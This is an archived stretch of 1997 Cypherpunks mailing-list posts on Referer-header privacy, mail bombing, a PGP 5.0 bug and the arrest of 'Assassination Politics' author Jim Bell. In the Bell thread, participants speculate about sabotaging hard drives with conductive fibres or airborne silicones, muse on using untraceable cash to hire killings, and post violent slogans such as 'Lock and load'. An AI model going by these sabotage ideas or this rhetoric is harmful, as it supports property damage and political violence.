> referer-specific content sent me this when I mentioned the
> cpunks/cryptography thread of a few months back. I basically agree
> with the W3C. While user education on the potential privacy threat is
> essential, I do not believe that Netscape should violate published
> technical standards. There are also privacy and property issues from
> the server's perspective.

Just in case someone hasn't heard about this yet, we support a stealth
preference in 4.0 to turn of referer headers.  If you wish to disable
referer, you can place the following line in your prefs.js file:

pref("network.sendRefererHeader", false);

There is no UI checkbox for this preference because it was added after
we froze the UI.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw at netscape.com






From llurch at networking.stanford.edu  Sun May 18 17:26:31 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Mon, 19 May 1997 08:26:31 +0800
Subject: referers and W3 (fwd)
In-Reply-To: <337F9366.167E@netscape.com>
Message-ID: 


Yes, I'm aware of that. I don't think it's a good idea. If you don't agree
with the standard, work within the W3C to change it. Especially if it's an
undocumented cypherpunk-only feature, that bugs me.

-rich

On Sun, 18 May 1997, Tom Weinstein wrote:

> Rich Graves wrote:
> > 
> > A friend who webmasters a large site that is implementing
> > referer-specific content sent me this when I mentioned the
> > cpunks/cryptography thread of a few months back. I basically agree
> > with the W3C. While user education on the potential privacy threat is
> > essential, I do not believe that Netscape should violate published
> > technical standards. There are also privacy and property issues from
> > the server's perspective.
> 
> Just in case someone hasn't heard about this yet, we support a stealth
> preference in 4.0 to turn of referer headers.  If you wish to disable
> referer, you can place the following line in your prefs.js file:
> 
> pref("network.sendRefererHeader", false);
> 
> There is no UI checkbox for this preference because it was added after
> we froze the UI.
> 
> -- 
> You should only break rules of style if you can    | Tom Weinstein
> coherently explain what you gain by so doing.      | tomw at netscape.com






From azur at netcom.com  Sun May 18 17:37:50 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 19 May 1997 08:37:50 +0800
Subject: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705182225.PAA03246@fat.doobie.com>
Message-ID: 


At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>In <199705182225.PAA03246 at fat.doobie.com>, on 05/18/97 at 04:25 PM,
>   nobody at huge.cajones.com (Huge Cajones Remailer) said:
>
>
>[New Age Snip]
>
>>I believe this was a major quantum leap in the history of  human  thought
>>and concioussness. A giant step in the right direction of our  true
>>divinity but it was sorely flawed; By the concept of property  rights.
>>This is where the founding fathers eogos got in the way.
>
>>The liberation movements of the last century have been based on the  same
>>concept of unalienable rights and have attempted to fine tune  the
>>document for  a more equitable distribution of planet power to  correct
>>the flaw.
>
> There is a fundamental fact of politics/economics that a socialist
>economy and a democratic political structure can not co-exsist.
>
>The concept of property rights is not a flaw but the foundation on which
>the constitution and this country is built on. Without the ability to
>controll ones own property all other rights fall by the wayside.
>
>I sugest reading "The Wealth of Nations" by Adam Smith for a better
>understanding of Capitalism and why it is the *only* economic model that
>works for a free society.
>

Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
of a planned economy and how the loss of property ownership and economic
freedom leads directly and inevitably to totalitarianism.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From whgiii at amaranth.com  Sun May 18 17:54:25 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 19 May 1997 08:54:25 +0800
Subject: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: 
Message-ID: <199705190036.TAA19421@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/18/97 at 06:25 PM,
   Steve Schear  said:


>At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>
>>In <199705182225.PAA03246 at fat.doobie.com>, on 05/18/97 at 04:25 PM,
>>   nobody at huge.cajones.com (Huge Cajones Remailer) said:
>>
>>
>>[New Age Snip]
>>
>>>I believe this was a major quantum leap in the history of  human  thought
>>>and concioussness. A giant step in the right direction of our  true
>>>divinity but it was sorely flawed; By the concept of property  rights.
>>>This is where the founding fathers eogos got in the way.
>>
>>>The liberation movements of the last century have been based on the  same
>>>concept of unalienable rights and have attempted to fine tune  the
>>>document for  a more equitable distribution of planet power to  correct
>>>the flaw.
>>
>> There is a fundamental fact of politics/economics that a socialist
>>economy and a democratic political structure can not co-exsist.
>>
>>The concept of property rights is not a flaw but the foundation on which
>>the constitution and this country is built on. Without the ability to
>>controll ones own property all other rights fall by the wayside.
>>
>>I sugest reading "The Wealth of Nations" by Adam Smith for a better
>>understanding of Capitalism and why it is the *only* economic model that
>>works for a free society.
>>

>Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
>of a planned economy and how the loss of property ownership and economic
>freedom leads directly and inevitably to totalitarianism.

Yes, very good read. Have you read any of his other works?

I thought that Smith was a good start as it was his economic philosophy
that guided our founding fathers.

I find it rather depressing that too few people understand the
relationships between economics & politics and how they affect the freedom
of the individule. 

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Double your drive space! Delete Windows!

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From ericm at lne.com  Sun May 18 18:22:13 1997
From: ericm at lne.com (Eric Murray)
Date: Mon, 19 May 1997 09:22:13 +0800
Subject: referers and W3 (fwd)
In-Reply-To: <199705182021.NAA04042@crypt.hfinney.com>
Message-ID: <199705190108.SAA12788@slack.lne.com>


Hal Finney writes:
 
 
> I use Eric Murray's fine "cookie jar" privacy program when I am web
> browsing on my Linux system (http://www.lne.com/ericm/cookie_jar/).

Note that it'll work with a non-UNIX browser just fine.  You do need to
have access to a Unix host to run the cookie jar program itself, but you
can tell your Windoze browser to use cookie jar as a proxy.... I run my Mac's
browser through it.

> It blocks cookies and advertisements via a very flexible config file
> mechanism.  It also eliminates other privacy-revealing outgoing data,
> including Referer, and could be easily modified to play all kinds of
> games with Referer for the adventurous.

Sounds like an idea to go along with the User-Agent spoofing I added recently.

What would make sense to use, other than sending
"http://this/is/a/bogus/referrer/sent/to/mess/up/your/stats"?
How about sending the current URL as Referrer?



-- 
   Eric Murray  ericm at lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 






From tcmay at got.net  Sun May 18 19:36:20 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 10:36:20 +0800
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: 
Message-ID: 


(I was locked out of getting my mail tonight for more than an hour, when a
member of the Cypherpunks list _mailed_ me a several-megabyte file without
asking first. As I explain in my message to Steve Schear, I have no way of
removing such "mail bombs" with my Eudora/POP system until they have been
downloaded to my machine (I don't have a shell account anymore). I suppose
by admitting this I am opening myself to being mailbombed by Dmitri V.,
Vladimir N, and my other Russian (or ersatz Russian) enemies.)

At 10:47 AM -0800 5/18/97, Steve Schear wrote:
>>I'll have to get it off the Iraqi or Syrian sites.
>
>Saddam doesn't want yanquis to think he is heartless.  Consider this a
>humanitarian gesture from the good people of Iraq.
>
>Attachment converted: APS 1GB Fireball:PGP 50b16 Installer.sit (SITD/SIT!)
>(0001153F)
>
>PGP mail preferred

!!!!!!!!!!!!!!!!

Your little "gesture" shut my system down through repeated attempts to
download it. It would load a bit, fail, then have to start over. It took me
more than an hour to get a complete download, at which point I could
finally delete that 4 MB file.

(I use a POP server and Eudora Pro 3.0 and know of no way to abort or skip
a load, except to call my sysadmin during business hours and ask him to
delete the message.)

THANKS FOR FUCKING NOTHING.

Never, ever, ever send me a large file without asking first!!!!!!!!!!!

Disgusted,

--TCM





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alan at ctrl-alt-del.com  Sun May 18 20:07:34 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 19 May 1997 11:07:34 +0800
Subject: Jim Bell goes to Jail!
Message-ID: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

- From the Oregonian Sunday edition May 18, 1997 page D-10:

IRS agents arrest Vancouver man who called for killing federal workers

* James D. Bell, who wrote the 10-part essay, "Assassination Politics," faces 
charges of interfering with a U.S. officer

By John Painter Jr.
of the Oregonian staff

VANCOUVER - A Vancouver man who has written about assassination of government 
officials and whose home was raided in April has been arrested by IRS agents 
on charges of interfering with a federal officer.

James D. Bell was held without bail in the Clark County jail.  On Monday, the 
IRS will transport him to U.S. District Court in Tacoma for his first 
appearance.  He was arrested without incident Friday evening while waiting
for 
a bus after work.

IRS agents could not be reached for comment, and the complaint underlying the 
criminal charge was sealed and unavailable.  The Clark County Jail confirmed 
that Bell was a prisoner there, held on a federal detainer.

A friend of Bell's, Robert W. East, said Bell phoned him from jail and told 
him he was arrested for interfering with a federal officer.

The affidavit for the April search warrant accused Bell of "directly 
soliciting others to set up a system to murder government officials" and 
"obtaining the home address of an IRS employee, as well as information about 
bombs and bomb-making materials."

Bell is the admitted author of a 10-part essay called "Assassination 
Politics," which has been circulated widely on the Internet, particularly in 
anti-government forums.  "Assassination Politics" discusses creation of an 
organization to reward those killing public officials while protecting 
assassins' identities.

IRS agents searched East's home in Vancouver on Thursday.  East said he was 
questioned for about 90 minutes, during which time agents asked him about a 
"stink-bomb attack" on an IRS office in San Diego or Long Beach, Calif.,
and a 
"propane bomb" found at another IRS office.  In that search agents found a 3-
foot carbon fiber that East said he got from Bell for an electrolysis 
experiment.

Federal agents since have focused on a Bell theory that carbon fibers could
be 
used to sabotage computer hard drives, thus disabling them.  East confirmed 
Bell's interest in using carbon fibers as a "computer killer" but dismissed
it 
as a "goofball idea."

The search warrant for East's home shows that the government also is 
interested in determining whether Bell and others have experimented with 
volatile chemicals in preparation for attacks on IRS offices and agents.

The search warrant for Bell's home shows that agents were searching for 
evidence of "threats, assaults, obstruction, intimidation, solicitation of 
murder, false statements, and the unlawful use of false social security 
numbers."

Jeff Gordon, a Portland-based IRS special investigator, said he discovered 
"Assassination Politics" among items seized when IRS agents took Bell's 1986 
Honda for unpaid back taxes in February.  Bell denied the car was his.  An
IRS 
tally of the items inside the car included a document about a "trial" by the 
Multnomah County Common Law Court in January of several IRS agents, a federal 
magistrate in Portland, U.S. Attorney General Janet Reno and an IRS 
commissioner, Margaret Richardson.

- ---


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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From shamrock at netcom.com  Sun May 18 20:14:44 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 19 May 1997 11:14:44 +0800
Subject: PGP 5.0 beta problem
Message-ID: <3.0.32.19970518154517.00761aec@netcom13.netcom.com>


At 12:55 PM 5/18/97 -0700, Steve Schear wrote:
>Have any other Mac CPs tried using verion 5.0 with CryptDisk?  When the
>PGPMenus extension is installed any attempt to open an encrypted volume
>generates a "Not enough memory to mount disk" message.  I ahve pleanty of
>RAM abd suspect a lack of System memory (e.g., stack space).

Seems PGP 5.0 still has some major problems. I can't even get the installer
to work on Win95. It complains about a lack of disk space. I have >1GB free.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From ichudov at algebra.com  Sun May 18 20:14:45 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 11:14:45 +0800
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: 
Message-ID: <199705190301.WAA11868@manifold.algebra.com>


Timothy,

If mailbombing bothers you, get a Unix account and procmail. The following
procmail recipe may help:

:0
* > 100000
/dev/null

You may have not as many enemies as you imagine, though.

igor

Tim May wrote:
> 
> (I was locked out of getting my mail tonight for more than an hour, when a
> member of the Cypherpunks list _mailed_ me a several-megabyte file without
> asking first. As I explain in my message to Steve Schear, I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine (I don't have a shell account anymore). I suppose
> by admitting this I am opening myself to being mailbombed by Dmitri V.,
> Vladimir N, and my other Russian (or ersatz Russian) enemies.)
> 
> At 10:47 AM -0800 5/18/97, Steve Schear wrote:
> >>I'll have to get it off the Iraqi or Syrian sites.
> >
> >Saddam doesn't want yanquis to think he is heartless.  Consider this a
> >humanitarian gesture from the good people of Iraq.
> >
> >Attachment converted: APS 1GB Fireball:PGP 50b16 Installer.sit (SITD/SIT!)
> >(0001153F)
> >
> >PGP mail preferred
> 
> !!!!!!!!!!!!!!!!
> 
> Your little "gesture" shut my system down through repeated attempts to
> download it. It would load a bit, fail, then have to start over. It took me
> more than an hour to get a complete download, at which point I could
> finally delete that 4 MB file.
> 
> (I use a POP server and Eudora Pro 3.0 and know of no way to abort or skip
> a load, except to call my sysadmin during business hours and ask him to
> delete the message.)
> 
> THANKS FOR FUCKING NOTHING.
> 
> Never, ever, ever send me a large file without asking first!!!!!!!!!!!
> 
> Disgusted,
> 
> --TCM
> 
> 
> 
> 
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.






From kent at songbird.com  Sun May 18 20:37:19 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 19 May 1997 11:37:19 +0800
Subject: Disinformation from folks like Kent on this list
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <19970518202227.05654@bywater.songbird.com>


On Fri, May 16, 1997 at 09:56:16AM -0800, Tim May wrote:
[...]
> No, what I find so irksome about Kent is his obdurate unwillingness to
> bother to learn whereof he speaks:

[.points of varying levels of bogosity deleted.]

> And so on.
> 
> I've taken to sometimes responding to him, but usually not. Nothing
> delights me more than seeing some long rambling criticism of us, and our
> work, and then deleting it.

You really need to get a life, Tim.

> Kent is just one of several folks who've discovered this list, share none
> of its core values, and seeks to disrupt it with innuendos, spam, insults,
> and disinformation.


This is all false.  The relationship between my values and the values
of this list are very complex, but clearly there is some overlap.  And
disrupting this list is simply not a goal of mine -- it's very 
entertaining, and a fine collecting ground...


> Kent, please go away.

What, and deprive you of all the above mentioned delight? 

> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.

Are you referring to the lack of effective enforcement?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From mpd at netcom.com  Sun May 18 20:56:13 1997
From: mpd at netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 11:56:13 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <199705190341.UAA17427@netcom18.netcom.com>


Alan Olsen  writes:

 > IRS agents arrest Vancouver man who called for killing
 > federal workers

As I recall, Bell never called for anyone to be killed. He merely
suggested that the construction of anonymous wagering pools would
faciliate a market in the disposal of tyrants.

 > Federal agents since have focused on a Bell theory that
 > carbon fibers could be used to sabotage computer hard
 > drives, thus disabling them.  East confirmed Bell's interest
 > in using carbon fibers as a "computer killer" but dismissed
 > it as a "goofball idea."

I thought microscopic amounts of airborne silicone were the
preferred method of causing large numbers of drives to
mysteriously fail.

I can't imagine how one would get the carbon fiber into the
interior of the drive.

 > The search warrant for East's home shows that the
 > government also is interested in determining whether Bell
 > and others have experimented with volatile chemicals in
 > preparation for attacks on IRS offices and agents.

The government is only lending credibility to Bell's paranoia by
behaving like jackbooted thugs.

Is this federal agent Bell is supposed to have interfered with
one of the agents who arrested him?  Sounds like fabrication from
whole cloth to me.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From ichudov at algebra.com  Sun May 18 21:16:18 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 12:16:18 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <199705190359.WAA12331@manifold.algebra.com>


Prof. Mike Duvos wrote:
> Alan Olsen  writes:
>  > IRS agents arrest Vancouver man who called for killing
>  > federal workers
> 
> As I recall, Bell never called for anyone to be killed. He merely
> suggested that the construction of anonymous wagering pools would
> faciliate a market in the disposal of tyrants.

I can attest to that if necessary.

>  > Federal agents since have focused on a Bell theory that
>  > carbon fibers could be used to sabotage computer hard
>  > drives, thus disabling them.  East confirmed Bell's interest
>  > in using carbon fibers as a "computer killer" but dismissed
>  > it as a "goofball idea."
> 
> I thought microscopic amounts of airborne silicone were the
> preferred method of causing large numbers of drives to
> mysteriously fail.

Wait, aren't hard drives hermetic?

>  > The search warrant for East's home shows that the
>  > government also is interested in determining whether Bell
>  > and others have experimented with volatile chemicals in
>  > preparation for attacks on IRS offices and agents.
> 
> The government is only lending credibility to Bell's paranoia by
> behaving like jackbooted thugs.

While you are right, I think that the government is as, if not more, 
paranoid than Jim Bell or anyone else.

> Is this federal agent Bell is supposed to have interfered with
> one of the agents who arrested him?  Sounds like fabrication from
> whole cloth to me.

They may be simply harassing him. There is really no substance in
what we've read.

	- Igor.






From tcmay at got.net  Sun May 18 21:18:46 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 12:18:46 +0800
Subject: Jim Bell goes to Jail--We should avoid raidable, physical meetings
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: 


(I seriously suggest we stop holding _physical_ Cypherpunks meetings for
the foreseeable future. A gathering of anarchists, crypto exporters, and
information terrorists like ourselves is too tempting a target for a
publicized raid, with cameras rolling, to show the threat of the Four
Horsemen of the Infocalypse. I for one don't plan to attend any physical
meetings for a while at least. Going armed to a Cypherpunks meeting in
preparation for a raid is not a cool thing.)


At 6:55 PM -0800 5/18/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>- From the Oregonian Sunday edition May 18, 1997 page D-10:

(As an interesting aside, interesting to me, I recall May 18th as being the
anniversary of the Mount St. Helens detonation, back in 1980. I was living
in Hillsboro, Oregon back then, just west of Portland. I didn't hear the
detonation, but I saw the massively thick black column of ash/smoke going
up into the clouds. And I witnessed some of the later eruptions on clearer
days. And my yard was covered with about 2 inches of ash, some of which I
took in to my lab to measure for radioactivity levels.)

>IRS agents arrest Vancouver man who called for killing federal workers
>
>* James D. Bell, who wrote the 10-part essay, "Assassination Politics," faces
>charges of interfering with a U.S. officer
>
>By John Painter Jr.
>of the Oregonian staff
>
>VANCOUVER - A Vancouver man who has written about assassination of government
>officials and whose home was raided in April has been arrested by IRS agents
>on charges of interfering with a federal officer.

(much elided)

I was initially "unsurprised" by the search of Jim's house. Not necessarily
because I thought his AP writings warranted a search, but because the
(putative) list of local IRS agents, combined with their initial reactions
to his admittedly controversial writings might lead these and other IRS to
reasonably fear that they were somehow being targetted for assassination.

However, I'm quite surprised things have progressed to the point of an
arrest. Unless Jim was "much further along" in developing AP than any of us
have given him credit for, especially given the gaps in things like digital
money for the actual AP system to ever work!, I think a prosecution will
fail.

I don't know any of the facts about any physical attacks being
contemplated, such as the "stink bombs" (!) mentioned later in the article,
etc. What I know is that these attacks, even if hypothesized, have nothing
directly, legally to do with the AP essay. (Yes, I know that writings can
go to motive, state of mind, etc. I just don't think theoretical essays
about AP have much to do with claims of stink bombs sent to IRS offices.)


>Federal agents since have focused on a Bell theory that carbon fibers could
>be
>used to sabotage computer hard drives, thus disabling them.  East confirmed
>Bell's interest in using carbon fibers as a "computer killer" but dismissed
>it
>as a "goofball idea."

Indeed, one of Jim's many goofball ideas floated on the Cypherpunks list
and, presumably, elsewhere. So? In our discussions of TEMPEST, sabotage of
computers in general, etc., there have been many such goofball ideas.

(Some "INFOWAR" pro-government propagandists/researchers have even
collected tidy research grants for studying things like HERF guns and
conductive fiber atacks on computers. If Bell is implicated because of an
interest in using conductive fibers to short out computers and disk drives,
might as well jail all those doing work on just such things. Or does the
government only allow such work, and such speculation, if DARPA and DIA are
paying the bills? Wouldn't surprise me in the least.)


>Jeff Gordon, a Portland-based IRS special investigator, said he discovered
>"Assassination Politics" among items seized when IRS agents took Bell's 1986
>Honda for unpaid back taxes in February.  Bell denied the car was his.  An
>IRS
>tally of the items inside the car included a document about a "trial" by the
>Multnomah County Common Law Court in January of several IRS agents, a federal
>magistrate in Portland, U.S. Attorney General Janet Reno and an IRS
>commissioner, Margaret Richardson.

The fascists are running scared.

Lock and load.

(Also, I suggest _physical_ Cypherpunks meetings not be held for the
foreseeable future. I know I plan to skip them all. A gathering of "reputed
information terrorists, who have openly discussed assassination markets, C4
explosives, and the destabilization of democratic governments" would be too
ripe a target for clowns like Reno, Freeh, and Kallstrom.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alan at ctrl-alt-del.com  Sun May 18 21:26:38 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 19 May 1997 12:26:38 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <3.0.2.32.19970518211245.00ac1200@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 5/18/97 -0700, Mike Duvos wrote:
>Alan Olsen  writes:

Actually I was quoting from the Oregonian, the local fishwrap.

> > IRS agents arrest Vancouver man who called for killing
> > federal workers
>
>As I recall, Bell never called for anyone to be killed. He merely
>suggested that the construction of anonymous wagering pools would
>faciliate a market in the disposal of tyrants.

Some of his statements could have been taken as advocating the killing of 
federal employees of various sorts.  The question is whether he actually
tried 
to arrange it in real life.  (Which I doubt.)

> > Federal agents since have focused on a Bell theory that
> > carbon fibers could be used to sabotage computer hard
> > drives, thus disabling them.  East confirmed Bell's interest
> > in using carbon fibers as a "computer killer" but dismissed
> > it as a "goofball idea."
>
>I thought microscopic amounts of airborne silicone were the
>preferred method of causing large numbers of drives to
>mysteriously fail.

I found that part quite interesting.  I remember Jim going off about this 
(without refering to any specific method) at the first Portland Cypherpunk 
meeting.  He got pretty pissed when I mentioned it on the list.  (As well as 
my post that I thought he was a loon.)  Interesting to see that there is an 
actual method mentioned.  (And that his friend also thought it was kind of 
nutty...)

>I can't imagine how one would get the carbon fiber into the
>interior of the drive.

Neither can I.  Maybe it was supposed to short out the electronics.  Imagine 
what that would do to your lungs!  Youch!

> > The search warrant for East's home shows that the
> > government also is interested in determining whether Bell
> > and others have experimented with volatile chemicals in
> > preparation for attacks on IRS offices and agents.
>
>The government is only lending credibility to Bell's paranoia by
>behaving like jackbooted thugs.

It is interesting that they have kept the warrent sealed.  This, more than 
anything makes me question the legitamacy of the whole affair.  Sounds like 
the IRS is planning a preemptive strike on the Common Law Courts and the 
people behind them.

>Is this federal agent Bell is supposed to have interfered with
>one of the agents who arrested him?  Sounds like fabrication from
>whole cloth to me.

That is not explained.  I think it was an excuse to arrest him without having 
to reveal the real reasons.  Be interesting to see what they accuse him of 
later...

The IRS seems to have overstepped a little in this case...  The sealed 
warrents are an attempt to keep it from being examined in more detail.

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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From mpd at netcom.com  Sun May 18 21:30:04 1997
From: mpd at netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 12:30:04 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <199705190359.WAA12331@manifold.algebra.com>
Message-ID: <199705190418.VAA00419@netcom3.netcom.com>


Igor writes:

> Wait, aren't hard drives hermetic?

No.  There is an absolute filter between the interior and the outside
environment through which some airborne agents can pass. 

Silicones are particularly nasty in this respect. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From tcmay at got.net  Sun May 18 21:42:59 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 12:42:59 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: 


At 7:41 PM -0800 5/18/97, Mike Duvos wrote:
>Alan Olsen  writes:
>
> > IRS agents arrest Vancouver man who called for killing
> > federal workers
>
>As I recall, Bell never called for anyone to be killed. He merely
>suggested that the construction of anonymous wagering pools would
>faciliate a market in the disposal of tyrants.

Exactly. I thought it was a mildly interesting idea, but much less
practical than using untraceable digital cash directly to hire hits. (And I
don't expect to be raided for this observation, by the way. Such
observations are obvious to anyone who looks at untraceable digital cash,
especially when ancillary services, like untraceable third party escrow
services ("You slay, we pay") are just as possible.)


>The government is only lending credibility to Bell's paranoia by
>behaving like jackbooted thugs.

Indeed, if he is tried his ideas will be spread far and wide...and some may
even think "Hey, let's try it, except let's target it toward collecting
money by our Irish friends for killing of British politicians and royals."
(As with Phill Hallam-Baker, this is how I think it will turn out. Ordinary
Americans are too sheep-like to donate money to have Janet Reno, for
example, killed. We don't get fired up in large enough numbers. Except I'll
bet (no pun intended) that a lot of whites would contribute to see certain
blacks killed, and vice versa.)

Now that Bell has been arrested, if he is _not_ tried, his fame is still
assured.


>Is this federal agent Bell is supposed to have interfered with
>one of the agents who arrested him?  Sounds like fabrication from
>whole cloth to me.
>

Probably covering their asses. Once his home was raided, and the case
publicized in the leading papers (apparently tipped off by the cops), kind
of hard for them to just back down and say "Oh well."

Some DA probably figures he or she can make a political name by prosecuting
the first case of "Internet terrorism."

Fucking fascists make Bell sound less crazy.

Lock and load.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sun May 18 22:13:40 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 13:13:40 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: 


At 8:12 PM -0800 5/18/97, Alan Olsen wrote:


>>I can't imagine how one would get the carbon fiber into the
>>interior of the drive.
>
>Neither can I.  Maybe it was supposed to short out the electronics.  Imagine
>what that would do to your lungs!  Youch!

Attacking electronics with conductive fibers is an old idea. (Not to sound
like a grumpy old man, but I recall discussions of this at the conferences
in Albuqueurque and Seattle I attended for Intel in the late 70s.)

I understand that carbon fibers were dropped on Iraqi systems during the
Gulf War.

If the government narcs in Portland are damning Bell for playing around
with the work done on this area, even including obtaining carbon fibers,
this'll be thrown out (I predict).


"Plans to destroy the Net thwarted!" is the headline they want to see.

--Tim May




>The IRS seems to have overstepped a little in this case...  The sealed
>warrents are an attempt to keep it from being examined in more detail.
>

If the "cyber-journalists" who write puff pieces on how great SAFE is are
out there, they ought to be giving this front page coverage.

(Wouldn't a better use of AP be to target AP, so to speak?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From hal at rain.org  Sun May 18 22:50:27 1997
From: hal at rain.org (Hal Finney)
Date: Mon, 19 May 1997 13:50:27 +0800
Subject: referers and W3 (fwd)
Message-ID: <199705190529.WAA05241@crypt.hfinney.com>


Eric Murray, , writes, regarding Referer spoofing:
> What would make sense to use, other than sending
